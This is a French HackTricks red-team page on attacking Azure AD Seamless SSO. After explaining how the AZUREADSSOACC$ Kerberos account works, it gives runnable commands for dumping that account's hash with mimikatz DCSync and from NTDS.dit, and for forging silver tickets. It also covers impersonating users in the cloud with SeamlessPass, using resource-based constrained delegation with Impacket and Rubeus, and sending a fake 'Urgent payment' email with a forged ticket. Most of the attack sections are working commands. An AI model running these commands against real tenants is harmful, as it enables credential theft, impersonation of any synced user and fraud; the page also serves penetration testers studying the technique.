Az - Seamless SSO

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Selon la documentation : Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) connecte automatiquement les utilisateurs lorsqu’ils sont sur leurs appareils d’entreprise connectés à votre réseau d’entreprise. Lorsqu’il est activé, les utilisateurs n’ont pas besoin de saisir leurs mots de passe pour se connecter à Azure AD, et généralement, même pas leurs noms d’utilisateur. Cette fonctionnalité offre à vos utilisateurs un accès facile à vos applications basées sur le cloud sans nécessiter de composants supplémentaires sur site.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

Fondamentalement, Azure AD Seamless SSO connecte les utilisateurs lorsqu’ils sont sur un PC joint à un domaine sur site.

Il est pris en charge à la fois par PHS (Password Hash Sync) et PTA (Pass-through Authentication).

Le SSO de bureau utilise Kerberos pour l’authentification. Lorsqu’il est configuré, Azure AD Connect crée un compte d’ordinateur appelé AZUREADSSOACC$ dans l’AD sur site. Le mot de passe du compte AZUREADSSOACC$ est envoyé en texte clair à Entra ID lors de la configuration.

Les tickets Kerberos sont chiffrés en utilisant le NTHash (MD4) du mot de passe et Entra ID utilise le mot de passe envoyé pour déchiffrer les tickets.

Entra ID expose un point de terminaison (https://autologon.microsoftazuread-sso.com) qui accepte les tickets Kerberos. Le navigateur de la machine jointe au domaine transmet les tickets à ce point de terminaison pour le SSO.

Énumération

# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table

# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()

Pivoting : Sur site -> cloud

Warning

La principale chose à savoir sur cette attaque est que le simple fait d’avoir le TGT ou un TGS spécifique d’un utilisateur synchronisé avec Entra ID suffit pour accéder aux ressources cloud.
C’est parce que c’est un ticket qui permet à un utilisateur de se connecter au cloud.

Pour obtenir ce ticket TGS, l’attaquant doit avoir l’un des éléments suivants :

  • Un TGS d’utilisateur compromis : Si vous compromettez la session d’un utilisateur avec le ticket pour HTTP/autologon.microsoftazuread-sso.com en mémoire, vous pouvez l’utiliser pour accéder aux ressources cloud.
  • Un TGT d’utilisateur compromis : Même si vous n’en avez pas, mais que l’utilisateur a été compromis, vous pouvez en obtenir un en utilisant le truc de délégation de TGT falsifié implémenté dans de nombreux outils tels que Kekeo et Rubeus.
  • Un hash ou mot de passe d’utilisateur compromis : SeamlessPass communiquera avec le contrôleur de domaine avec ces informations pour générer le TGT puis le TGS.
  • Un golden ticket : Si vous avez la clé KRBTGT, vous pouvez créer le TGT dont vous avez besoin pour l’utilisateur attaqué.
  • Le hash ou mot de passe du compte AZUREADSSOACC$ : Avec ces informations et l’identifiant de sécurité (SID) de l’utilisateur à attaquer, il est possible de créer un ticket de service et de s’authentifier avec le cloud (comme effectué dans la méthode précédente).

SeamlessPass

Comme expliqué dans cet article de blog, avoir l’un des précédents prérequis rend très facile l’utilisation de l’outil SeamlessPass pour accéder aux ressources cloud en tant qu’utilisateur compromis, ou en tant que n’importe quel utilisateur si vous avez le hash ou le mot de passe du compte AZUREADSSOACC$.

Enfin, avec le TGT, il est possible d’utiliser l’outil SeamlessPass avec :

# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs

Des informations supplémentaires pour configurer Firefox afin de fonctionner avec le SSO transparent peuvent être trouvées dans cet article de blog.

Obtention des hachages du compte AZUREADSSOACC$

Le mot de passe de l’utilisateur AZUREADSSOACC$ ne change jamais. Par conséquent, un administrateur de domaine pourrait compromettre le hachage de ce compte, puis l’utiliser pour créer des tickets argent pour se connecter à Azure avec n’importe quel utilisateur sur site synchronisé :

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Note

Avec les informations actuelles, vous pourriez simplement utiliser l’outil SeamlessPass comme indiqué précédemment pour obtenir des tokens azure et entraid pour n’importe quel utilisateur du domaine. Vous pourriez également utiliser les techniques précédentes (et d’autres) pour obtenir le hash du mot de passe de la victime que vous souhaitez imiter au lieu du compte AZUREADSSOACC$.

Création de Silver Tickets

Avec le hash, vous pouvez maintenant générer des silver tickets :

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Utilisation des Silver Tickets avec Firefox

Pour utiliser le silver ticket, les étapes suivantes doivent être exécutées :

  1. Lancer le Navigateur : Mozilla Firefox doit être lancé.
  2. Configurer le Navigateur :
  • Naviguez vers about:config.
  • Définissez la préférence pour network.negotiate-auth.trusted-uris à la valeur spécifiée :
  • https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
  • Allez dans Paramètres de Firefox > Recherchez Autoriser l'authentification unique Windows pour les comptes Microsoft, de travail et scolaires et activez-le.
  1. Accéder à l’Application Web :
  • Visitez une application web qui est intégrée au domaine AAD de l’organisation. Un exemple courant est login.microsoftonline.com.
  1. Processus d’Authentification :
  • À l’écran de connexion, le nom d’utilisateur doit être saisi, en laissant le champ du mot de passe vide.
  • Pour continuer, appuyez sur TAB ou ENTER.

Warning

Cela ne contourne pas la MFA si elle est activée pour l’utilisateur.

On-prem -> Cloud via Resource Based Constrained Delegation

Pour effectuer l’attaque, il est nécessaire :

  • WriteDACL / GenericWrite sur AZUREADSSOACC$
  • Un compte d’ordinateur que vous contrôlez (hash & mot de passe) - Vous pourriez en créer un
  1. Étape 1 – Ajoutez votre propre compte d’ordinateur
  • Crée ATTACKBOX$ et imprime son SID/NTLM hash. Tout utilisateur de domaine peut le faire tant que MachineAccountQuota > 0
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
  1. Étape 2 – Accorder RBCD sur AZUREADSSOACC$ - Écrit le SID de votre machine dans msDS-AllowedToActOnBehalfOfOtherIdentity.
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$

# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
  1. Étape 3 – Forger un TGS pour n’importe quel utilisateur (par exemple, alice)
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821

# Produces alice.autologon.ccache

#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt

Vous pouvez maintenant utiliser le TGS pour accéder aux ressources Azure en tant qu’utilisateur usurpé.

Création de tickets Kerberos pour les utilisateurs uniquement cloud

Si les administrateurs Active Directory ont accès à Azure AD Connect, ils peuvent définir le SID pour tout utilisateur cloud. De cette manière, des tickets Kerberos peuvent être créés également pour les utilisateurs uniquement cloud. La seule exigence est que le SID soit un SID.

Caution

Changer le SID des utilisateurs administrateurs uniquement cloud est maintenant bloqué par Microsoft.
Pour plus d’infos, consultez https://aadinternals.com/post/on-prem_admin/

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks